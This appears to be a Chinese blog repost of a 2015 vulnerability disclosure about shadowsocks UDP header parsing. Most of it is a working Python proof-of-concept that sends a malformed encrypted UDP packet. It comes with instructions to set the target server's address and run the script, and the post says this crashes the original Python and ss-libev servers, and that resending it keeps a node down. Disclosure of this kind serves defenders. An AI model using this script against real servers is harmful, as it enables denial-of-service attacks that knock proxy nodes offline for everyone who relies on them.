shadowsocks的UDP头部处理异常会导致整个程序退出

2015/11/13
(via https://github.com/breakwa11/shadowsocks-rss/issues/120 )
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2015 BreakWa11

from __future__ import absolute_import, division, print_function, \
        with_statement

import sys
import os
import time
import socket
import binascii

sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../'))

from shadowsocks import encrypt, eventloop, shell, common

class Relay:
        def __init__(self, password, method):
                self._password = password
                self._method = method
                self._encryptor = encrypt.Encryptor(password, method)
                self._remote_sock = None

        def create_remote_socket(self, ip):
                addrs = socket.getaddrinfo(ip, 0, 0, socket.SOCK_DGRAM, socket.SOL_UDP)
                if len(addrs) == 0:
                        raise Exception("getaddrinfo failed")
                af, socktype, proto, canonname, sa = addrs[0]
                remote_sock = socket.socket(af, socktype, proto)
                self._remote_sock = remote_sock
                remote_sock.setblocking(False)
                return self

        def sendto(self, ip, port, data):
                addrs = socket.getaddrinfo(ip, port, 0, socket.SOCK_DGRAM, socket.SOL_UDP)
                af, socktype, proto, canonname, sa = addrs[0]
                print(sa)
                print(binascii.hexlify(data))
                data = encrypt.encrypt_all(self._password, self._method, 1, data)
                print(binascii.hexlify(data))
                self._remote_sock.sendto(data, sa)

        def close(self):
                self._remote_sock.close()
                self._remote_sock = None

def main(ip, port, password, method):
        r = Relay(password, method)
        r.create_remote_socket(ip).sendto(ip, port, common.to_str('\x03\x0101'))
        time.sleep(1)
        r.close()

if __name__ == '__main__':
        main('127.0.0.1', 8988, 'password', 'aes-256-cfb')
以上python代码修改main后的目标服务端参数,并保存于ss-python的shadowsocks目录下(有tcprelay.py和udprelay.py的目录),然后用python运行这个代码,只要加密方式和密码等正确,目标服务器(含原版python后端,及ss-libev服务端)开启了UDP服务,则会导致目标服务程序崩溃退出。
主要威胁对象:开启了UDP服务的原版(ssr版不受威胁)manyuser后端的各站(任何一个用户都有正确的密码可以发送特定的异常触发数据),即使服务端开启了自动重启,只要用户不断重发,则直接导致节点瘫痪。
原理:受影响的两服务端程序均没有对包长度做检查,特殊情况下能导致越界访问,从而使程序崩溃

Related Posts